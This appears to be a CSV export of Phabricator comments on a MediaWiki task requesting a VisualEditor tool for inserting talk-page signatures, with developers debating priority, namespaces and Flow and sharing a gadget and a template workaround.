+",,,1447004908,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,122,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+521764,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Hmm, and so it seems that the $wgExtraSignatureNamespaces functionality provided by https://gerrit.wikimedia.org/r/87649 (T7645) was actually merged, even thought it looked hopeless a year ago. I think we can go ahead with migrating my gadget to VisualEditor proper, and enabling the signature inserting tool only in those namespaces.",,,1441556932,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,113,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+430387,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,">>! In T53154#1138179, @Juandev wrote:
+> Thank you for the code. Could the user also add a special button to VE or is it a difficult cooding? 
+
+Per the task description and per my previous comment, there is a gadget that implements this that you can easily enable for yourself, or on your wiki.",,,1426958719,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,89,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,1,0,0,0,1
+430385,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,,,,1426958667,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,89,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+430384,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,,,,1426958656,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,89,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+430371,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,">>! In T53154#537004, @AdHuikeshoven wrote:
+> Adding a signature with VisualEditor can be simulated using a template:
+> 
+> ---template code:---
+> {{{Sign}}}
+> <noinclude>
+> This template allows to sign using Visual Editor by adding this template as you can't enter four tildes <nowiki>~~~~</nowiki> in VE. Enter the template in VE. Hit Add template. Enter <nowiki>~~~~</nowiki> in the field. Hit Insert template. Hit Save page. Enter edit summary. Hit Save. Doone.</br>
+> <templatedata>
+> {
+> 	""description"": ""A template to sign using Visual Editor. "",
+> 	""params"": {
+> 		""Sign"": {
+> 			""aliases"": [
+> 				""Signature""
+> 			],
+> 			""label"": ""Sign by entering ~~~~ in the field below"",
+> 			""description"": ""Field to enter signature, that is four tildes"",
+> 			""default"": ""Please enter four tildes here"",
+> 			""required"": true
+> 		}
+> 	}
+> }
+> </templatedata>
+> </noinclude>
+> ---end of template code---
+> 
+> Usage:
+> Enter the template in VE. Hit Add template. Enter ~~~~ in the field. Hit Insert template. Hit Save page. Enter edit summary. Hit Save.
+> 
+> Example:
+> See https://www.mediawiki.org/wiki/Template:VESign. Application of template tested on https://www.mediawiki.org/wiki/User:Ad_Huikeshoven/test. 
+> 
+> Evaluation:
+> There might be nicer methods to accomplish the same, maybe using JS (I have no experiene writing JS). When there is a switch over to Parsoid rendering the templates mid-edit rather than relying on PHP parser the above solution will probably break, as will probably do any solution to bug 51146.
+
+Thank you for the code. Could the user also add a special button to VE or is it a difficult cooding? ",,,1426954578,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,89,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1
+421400,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,I updated the description with information about the gadget implementing this feature.,,,1425561628,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,87,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+421379,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,@Pine: Yes I'd object. :) Please see T53154#536989,,,1425558453,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,87,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1
+421285,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,Would anyone object to bumping up the priority of this to normal?,,,1425544467,,PHID-USER-l7v72q5tq6vg6zclrld6,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,87,,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0
+418557,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Like @AdHuikeshoven, I just ran into the use case where I can't sign myself to a list of Wikimania talk attendees.",,,1425083820,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,86,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,0,0,0,0
+231869,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Yes, I've moved it to talk space. Sorry I didn't catch that earlier.",,,1412362166,,PHID-USER-l7v72q5tq6vg6zclrld6,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,65,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+231866,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"(In reply to Pine from comment #22)
+> Perhaps someone enabled VE on talk pages when they shouldn't have?
+> 
+> It's enabled on https://meta.wikimedia.org/wiki/Grants:APG/Comments
+
+Argh. That's not a talk page. You can tell because the talk page would be https://meta.wikimedia.org/wiki/Grants talk:APG – this is really unhelpful of people to use the wrong namespace. I'm sorry about that. :-(",,,1412362031,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,65,,0,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+231861,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Ah, I see. That's not really labeled as a talk page on Meta, but it probably should be. I'll try to take care of that.",,,1412362011,,PHID-USER-l7v72q5tq6vg6zclrld6,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,65,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+231855,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Perhaps someone enabled VE on talk pages when they shouldn't have?
+
+It's enabled on https://meta.wikimedia.org/wiki/Grants:APG/Comments",,,1412361949,,PHID-USER-l7v72q5tq6vg6zclrld6,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,65,,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+231849,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"(In reply to Pine from comment #20)
+> I am raising the priority of this bug. VisualEditor is now enabled for talk
+> pages on Meta, yet I can't insert my signature using VisualEditor, which is
+> a major shortcoming. Please fix!
+
+What talk pages is it enabled for? Can you give an example? It doesn't appear on the talk pages I just looked at. This feels like a distinct bug.
+
+Please read the history of this bug for why this is explicitly outside of the plans for VisualEditor; it's fundamentally the wrong approach. Resetting priority.",,,1412361791,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,65,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+231844,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"I am raising the priority of this bug. VisualEditor is now enabled for talk pages on Meta, yet I can't insert my signature using VisualEditor, which is a major shortcoming. Please fix!",,,1412361008,,PHID-USER-l7v72q5tq6vg6zclrld6,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,65,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+231837,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"It seems that bug 5645 which I thought to be a dependency is not going to be fixed in a useful way. The only way to proceed would be reimplementing the namespace selection logic in VE, which I'm wary of. I don't know how to proceed with this, I guess we'll be stuck with the gadget for the time being.",,,1406412781,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,55,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+231831,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Actually, a $wg config variable for this is not a very good idea. We should just be smart and display the signature button in the namespaces that need it (and no others).
+
+Core MediaWiki currently has no way to do this (other than the implied assumption that all talk namespaces need signatures), but there happens to be a patch pending that would introduce one (https://gerrit.wikimedia.org/r/87649). We should just wait for that to be implemented, and then use the same logic as wikitext editor when deciding whether to enable signatures or not.",,,1405887415,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,54,,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+231823,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"(In reply to Bartosz Dziewoński from comment #16)
+> That sounds fine by me. So it would be enabled with a $wg config variable?
+
+That was my thought, yes.
+
+> I wonder if it would make sense to let users enable it for themselves (by
+> loading a RL module in common.js, for example).
+
+It doesn't; either VE namespaces are signable or they're not. A per-user setting doesn't make sense.
+
+""Assigning"" to Bartosz given he's done all the work here. :-)",,,1405787749,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,54,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,1,1,0,0,1
+231816,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"That sounds fine by me. So it would be enabled with a $wg config variable?
+
+I wonder if it would make sense to let users enable it for themselves (by loading a RL module in common.js, for example).",,,1405775648,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,54,,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0
+231810,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"(In reply to Lokal_Profil from comment #14)
+> Being a basic building block of a wiki which is currently missing from VE I
+> would not mark this as Resolved until there is a solution integrated in VE.
+> Better then to leave it open and hope that some volunteer takes it on if it
+> is deemed to be outside of the scope for Wikimedia to implement.
+
+There is never going to be a ""sign post"" feature integrated into VisualEditor as deployed on WMF servers. That's the whole point of Flow. From a perspective of ""VisualEditor for WMF users"", this is WONTFIXed.
+
+This bug is not marked as ""WONTFIX"" though, because it's entirely plausible that someone might want to run VisualEditor on a wiki without Flow (or LQT or Message Wall or whatever).
+
+Maybe we should bundle up Bartosz's code into a VE plug-in that's available for users (but not on by default)?",,,1405474400,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,54,,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+231804,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Being a basic building block of a wiki which is currently missing from VE I would not mark this as Resolved until there is a solution integrated in VE. Better then to leave it open and hope that some volunteer takes it on if it is deemed to be outside of the scope for Wikimedia to implement.
+
+Adding a signature should be as easy or easier (for the user) as adding an image or template. Also since there is nothing preventing signatures from being added to any namespace in the wikitext editor there should be no hard-coded exceptions in the VE-solution (although there could of course be site-wide setting disallowing them.",,,1405344964,,PHID-USER-uu7wg6g3b37dcktbje3a,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,54,,1,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+231799,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"I wonder what should we do with this bug? I think it should be marked either RESOLVED WONTFIX or RESOLVED FIXED, but I'm not sure which is more appropriate.",,,1405339051,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,54,,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0
+231792,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,I replied at [[meta:User talk:Matma Rex/visualeditor-signature.js]].,,,1405338928,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,54,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+231786,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"(In reply to SJ from comment #3)
+> I think it is important to enable signatures in VE.  I have found it useful
+> in a few circumstances; and regretted having to drop out of VE just for that
+> one addition.
+
+The use case I would like mention is adding your name to the list of interested attendees at the program pages of https://wikimania2014.wikimedia.org/. Bartosz tools works wonderfully outside content name space. However, it explicitly doesn't work on content name space in which the program pages at the Wikimania site reside.",,,1405327655,,PHID-USER-mcyovqjor52nj3se4lq7,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,54,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+231780,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Whoa, that's scary. Please don't do that.
+
+I wrote a script to implement signatures properly. This definitely isn't what the editor was designed to do, but, as it was noted in earlier comments, this has its use cases.
+
+https://meta.wikimedia.org/wiki/User:Matma_Rex/visualeditor-signature.js
+
+Please comment about it on the script's talk page, not here :) I'd be happy to include more translations (there are just two words to translate).
+
+I think the only thing missing is an icon that would match the look-and-feel of existing ones. I'd be happy to add it, too, if only someone drew one (SVG).",,,1405303431,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,54,,0,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+231774,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Adding a signature with VisualEditor can be simulated using a template:
+
+---template code:---
+{{{Sign}}}
+<noinclude>
+This template allows to sign using Visual Editor by adding this template as you can't enter four tildes <nowiki>~~~~</nowiki> in VE. Enter the template in VE. Hit Add template. Enter <nowiki>~~~~</nowiki> in the field. Hit Insert template. Hit Save page. Enter edit summary. Hit Save. Doone.</br>
+<templatedata>
+{
+	""description"": ""A template to sign using Visual Editor. "",
+	""params"": {
+		""Sign"": {
+			""aliases"": [
+				""Signature""
+			],
+			""label"": ""Sign by entering ~~~~ in the field below"",
+			""description"": ""Field to enter signature, that is four tildes"",
+			""default"": ""Please enter four tildes here"",
+			""required"": true
+		}
+	}
+}
+</templatedata>
+</noinclude>
+---end of template code---
+
+Usage:
+Enter the template in VE. Hit Add template. Enter ~~~~ in the field. Hit Insert template. Hit Save page. Enter edit summary. Hit Save.
+
+Example:
+See https://www.mediawiki.org/wiki/Template:VESign. Application of template tested on https://www.mediawiki.org/wiki/User:Ad_Huikeshoven/test. 
+
+Evaluation:
+There might be nicer methods to accomplish the same, maybe using JS (I have no experiene writing JS). When there is a switch over to Parsoid rendering the templates mid-edit rather than relying on PHP parser the above solution will probably break, as will probably do any solution to bug 51146.",,,1405282624,,PHID-USER-mcyovqjor52nj3se4lq7,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,53,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+231765,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"To clarify, this is a ""WONTFIX"" for VE as it is (and will be) enabled on WMF projects, but if someone wants to write a plugin for VE for other wiki hosts using it that want to try to make VE work in discussion namespaces (and don't want to use Flow).
+
+There are a number of meanings of ""Lowest"" priority, and this is one of the confusing ones. Sorry. :-(",,,1390430037,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,True,,,29,,0,1,0,0,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+231759,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"(In reply to comment #6)
+> Will Flow be applicable to all namespaces? There are lots of article-style
+> pages that temporarily or permanently would benefit from inline comments in
+> the
+> middle of what is otherwise a full-text long-form page.  In those cases* I
+> don't see how the Flow design will help.
+
+Like what? Some examples, please?
+
+> 
+> Signatures are useful in most namespaces, whereas ""idiosyncratic protocols
+> and
+> templates and formats"", with unknown amounts of associated work, seem like
+> higher-hanging tasty fleshy vegetalia.
+> 
+Sure, and work on those namespaces is best done when we actually discuss _deploying_ in those namespaces - and when it is fully working for the primary target of the VE (i.e., the mainspace).
+
+> * Examples: wikis that don't separate talk from content; wikis that have two
+> layers of talk: limited inline v. permanent talk-threads; articles or main
+> pages that tabulate membership or participation or otherwise include tables
+> that include user signatures.
+
+Actual examples for each example...?",,,1390426187,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,29,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+231751,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"Will Flow be applicable to all namespaces? There are lots of article-style pages that temporarily or permanently would benefit from inline comments in the middle of what is otherwise a full-text long-form page.  In those cases* I don't see how the Flow design will help.  
+
+Signatures are useful in most namespaces, whereas ""idiosyncratic protocols and templates and formats"", with unknown amounts of associated work, seem like higher-hanging tasty fleshy vegetalia.
+
+* Examples: wikis that don't separate talk from content; wikis that have two layers of talk: limited inline v. permanent talk-threads; articles or main pages that tabulate membership or participation or otherwise include tables that include user signatures.",,,1390423793,,PHID-USER-fgzcdbj3je3ksnhufo47,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,29,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0
+231743,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"That's probably something to do with the fact that the VE isn't really being used in discussion namespaces.
+
+This is not, by far, the only feature blocking VE from being useful in many other contexts. A lot of the discussion namespaces have their own idiosyncratic protocols and templates and formats that parsoid and the VE will then have to directly support, which is likely to be some (unknown) additional amount of work, and that'll all be done just in time for us to start releasing Flow, which does auto-signing.
+
+I can understand the low prioritisation ;).",,,1390420131,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,29,,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,1,1,0,1,1,0,1,1,0,0,0,0,1,0,1,1,1,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+231735,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,I just noticed this is flagged as lowest-priority enhancement... again surprising considering the importance and prevalence of signing in wiki culture and other MW docs.,,,1390419820,,PHID-USER-fgzcdbj3je3ksnhufo47,False,,,PHID-TASK-kttslfnxq434mabydy2v,task_subcomment,,True,c1,3,False,,,29,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+231728,VisualEditor: Provide a tool to insert a talk signature in namespaces that need it,"I think it is important to enable signatures in VE.  I have found it useful in a few circumstances; and regretted having to drop out of VE just for that one addition.
+
